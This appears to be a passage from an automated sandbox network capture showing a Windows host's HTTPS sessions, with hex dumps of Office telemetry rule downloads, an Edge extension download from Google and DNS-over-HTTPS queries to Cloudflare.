2024-11-28 05:48:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:27 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:27 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054827Z-174f7845968nxc96hC1EWRspw80000000xug000000003cxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:27 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:27 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:27 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 063c5fbf-001e-0065-4a59-410b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054827Z-174f7845968qj8jrhC1EWRh41s0000000xvg00000000fdt3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-28 05:48:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:27 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:28 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054828Z-174f78459685m244hC1EWRgp2c0000000xxg000000002bth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:28 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49762	142.250.181.65	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:28 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 05:48:29 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC4ZjqXlR9c2WaJAkMQ9T29mKgZyUWAl30zlMeVWfVqvo7yS4sz72IU_VKJYbTtI74Oc9rQ X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Wed, 27 Nov 2024 16:45:00 GMT Expires: Thu, 27 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 47009 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-28 05:48:29 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-28 05:48:29 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-28 05:48:29 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-28 05:48:29 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-28 05:48:29 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-28 05:48:29 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-28 05:48:29 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-28 05:48:29 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-28 05:48:29 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-28 05:48:29 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49774	172.64.41.3	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 05:48:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 05:48:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 05:48:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9811bbdc5fc466-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 05:48:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 9c 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49773	162.159.61.3	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 05:48:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 05:48:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 05:48:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9811bb486e4398-EWR alt-svc: h3=":443"; ma=86400
